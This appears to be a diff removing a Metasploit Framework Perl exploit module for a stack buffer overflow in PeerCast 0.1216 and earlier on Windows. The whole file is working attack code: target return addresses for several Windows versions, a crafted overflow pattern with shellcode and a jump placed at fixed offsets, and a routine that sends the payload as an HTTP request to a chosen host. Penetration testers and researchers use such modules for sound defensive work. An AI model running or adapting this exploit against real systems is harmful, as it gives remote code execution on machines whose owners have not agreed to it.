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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::peercast_url_win32;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
-
- 'Name' => 'PeerCast <= 0.1216 URL Handling Buffer Overflow(win32)',
- 'Version' => '$Revision: 1.3 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32' ],
- 'Priv' => 0,
-
- 'AutoOpts' => { 'EXITFUNC' => 'process' },
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 7144],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Payload' =>
- {
- 'Space' => 400,
- 'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
- 'Keys' => ['+ws2ord'],
- 'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a stack overflow in PeerCast <= v0.1216.
- The vulnerability is caused due to a boundary error within the
- handling of URL parameters.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '23777'],
- ['BID', '17040'],
- ['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],
- ],
-
- 'Targets' =>
- [
- ['Windows 2000 English SP0-SP4', 0x75023360 ],
- ['Windows 2003 English SP0-SP1', 0x77d099e3 ],
- ['Windows XP English SP0/SP1', 0x77dbfa2c],
- ['Windows XP English SP0/SP2', 0x77dc12b8],
- ],
-
- 'Keys' => ['peercast'],
-
- 'DisclosureDate' => 'March 8 2006',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit
- {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $offset = $self->GetVar('OFFSET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- my $pattern = Pex::Text::AlphaNumText(1024);
-
- # Return to EDI (offset 812)
- substr($pattern, 768, 4, pack('V', $target->[1]));
-
- # Jump back to the shellcode
- substr($pattern, 812, 5, "\xe9".pack("V", -517));
-
- # Insert he payload at offset 300 to avoid corruption
- substr($pattern, 300, length($shellcode), $shellcode);
-
- my $sploit = "GET /stream/?". $pattern ." HTTP/1.0\r\n\r\n";
- $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($sploit);
- $self->Handler($s);
- $s->Close();
- return;
- }
-
- 1;
-